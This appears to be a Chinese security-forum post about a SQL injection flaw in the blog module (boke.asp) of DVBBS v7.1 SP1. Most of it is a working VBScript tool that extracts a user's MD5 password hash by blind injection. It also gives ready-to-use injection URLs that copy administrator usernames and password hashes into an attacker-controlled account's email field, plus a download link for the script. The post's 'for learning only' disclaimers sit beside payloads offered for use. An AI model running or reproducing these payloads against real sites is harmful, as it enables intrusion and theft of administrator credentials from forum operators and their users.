0
文章作者:Execsl 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
首先说明一下,此漏洞不支持中文博客名称。
原因是Cls_Main.asp中获得boke.asp参数是通过以下语句实现的 bbs\boke\目录 Cls_Main.asp文件第34行 ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING")) ArchiveLink 中的字符以utf-8方式编码,中文等都被转化成%xx%xx形式,空格也被转化为%20 所以当时写的 ASP利用程序 中的“'”与关键字“and”中间没写空格,为的就是避开%20 后来在www.cnbct.org看到可以使用“/**/”注释语法 或“%09”来避开空格, 避开空格后,用UPDATE语句就可以轻松获得DVBBS V7.1 SP1 SQL版的后台控制权限
下面是DVBBS V7.1 SP1 ACCESS版 Boke注入漏洞 VBS利用程序的代码
'============================================================================ 'DVBBS V7.1 Boke 注入漏洞利用工具 '使用说明: ' 在命令提示符下: ' cscript.exe blog.vbs 要攻击的网站的博客路径 要破解的博客用户密码 '如: ' cscript.exe blog.vbs www.xxxx.com/bbs/boke.asp admin ' by execsl 2006.5.4 '============================================================================ On Error Resume Next Dim oArgs Dim oBokeXML 'XMLHTTP对象用来打开目标网址 Dim TargetURL '目标网址 Dim BlogName '博客用户名 Dim TempStr '存放已获取的部分 MD5密码 Dim CharHex '定义16进制字符
Set oArgs = WScript.arguments If oArgs.count < 2 Then Call ShowUsage()
Set oBokeXML = CreateObject("Microsoft.XMLHTTP")
'补充完整目标网址 TargetURL = oArgs(0) If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL If right(TargetURL,1) <> "?" Then TargetURL = TargetURL & "?"
BlogName=oArgs(1) TempStr="" CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
Call main(TargetURL,BlogName)
Set oBokeXML = Nothing
'----------------------------------------------sub------------------------------------------------------- '============================================ '函数名称:main '函数功能:主程序,注入获得Boke 用户密码 '============================================ Sub main(TargetURL,BlogName) Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage For MainOffset = 1 To 16 For SubOffset = 0 To 15 TempLen = 0 OpenURL = TargetURL & BlogName & "'and'" & TempStr & CharHex(SubOffset) & "'=left(password," &MainOffset& ")and''='.index.html" oBokeXML.open "Get",OpenURL, False, "", "" oBokeXML.send GetPage = BytesToBstr(oBokeXML.ResponseBody) '判断访问的页面是否存在 If InStr(GetPage,"<title>无法找到网页</title>")=0 And InStr(GetPage,"您正在搜索的网页可能已经删除、更名或暂时不可用。</font>")=0 Then '“博客用户不存在或填写的资料有误” 为错误标志 ,返回此标志说明 猜解的 MD5 不正确 '如果得到 0000000000000000 的 MD5 值,请修改错误标志 If InStr(GetPage,"博客用户不存在或填写的资料有误")=0 Then TempStr=TempStr & CharHex(SubOffset) WScript.Echo " 已获取的MD5值为:" &CStr(TempStr) &" 其他密码正在读取中,请等待。。。" Exit for End if Else WScript.echo vbcrlf & "您输入的网址无法访问,请确认后重新输入。" & vbcrlf WScript.echo vbcrlf & "本程序只用于学习交流,不能用于其非法用途。"& vbcrlf &"因使用本程序引起的一切后果和责任由使用者自负" WScript.Quit End If next Next WScript.Echo " 成功读取密码的MD5值,为:" & TempStr & "请不要使用本程序进行破坏行为!" End sub
'============================================ '函数名称:BytesToBstr '函数功能:将XMLHTTP对象中的内容转化为GB2312编码 '============================================ Function BytesToBstr(body) dim objstream set objstream = CreateObject("ADODB.Stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function
'============================ '函数名称:ShowUsage '函数功能:使用方法提示 '============================ Sub ShowUsage() WScript.echo " DVBBS v7.1 Boke 利用程序" & vbcrlf & " By Execsl 06.4.23" WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName" WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" www.xxxx.com/bbs/boke.asp admin" WScript.echo "" WScript.Quit End Sub [Copy to clipboard]
您可以在这里下到该程序的vbs文件 http://www.sdibt.edu.cn/jgsz/jwc/admin/help/blog.vbs也可以在文章末尾下到
下面是DVBBS V7.1 SP1 Boke注入漏洞 SQL版获得管理员密码的SQL语句, 当然大家可以直接把的管理员密码改成自己的密码,不过这样就太不厚道了 希望大家不要搞破坏!搞破坏RP大大地坏!
将用户表Dv_User中 admin密码放到 用户 execsl 的Email 中 http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='admin')/**/where[UserName]='execsl';--.index.html 将管理员表Dv_admin中 第一个用户的用户名放到 用户 execsl 的Email 中 http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Username]from/**/Dv_admin)/**/where[UserName]='execsl';--.index.html 将管理员表Dv_admin中 第一个用户的密码放到 用户 execsl 的Email 中 http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Password]from/**/Dv_admin)/**/where[UserName]='execsl';--.index.html http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select[UserPassword]from/**/Dv_admin/**/where[id]=1)/**/where[UserName]='execsl';--.index.html
[1] |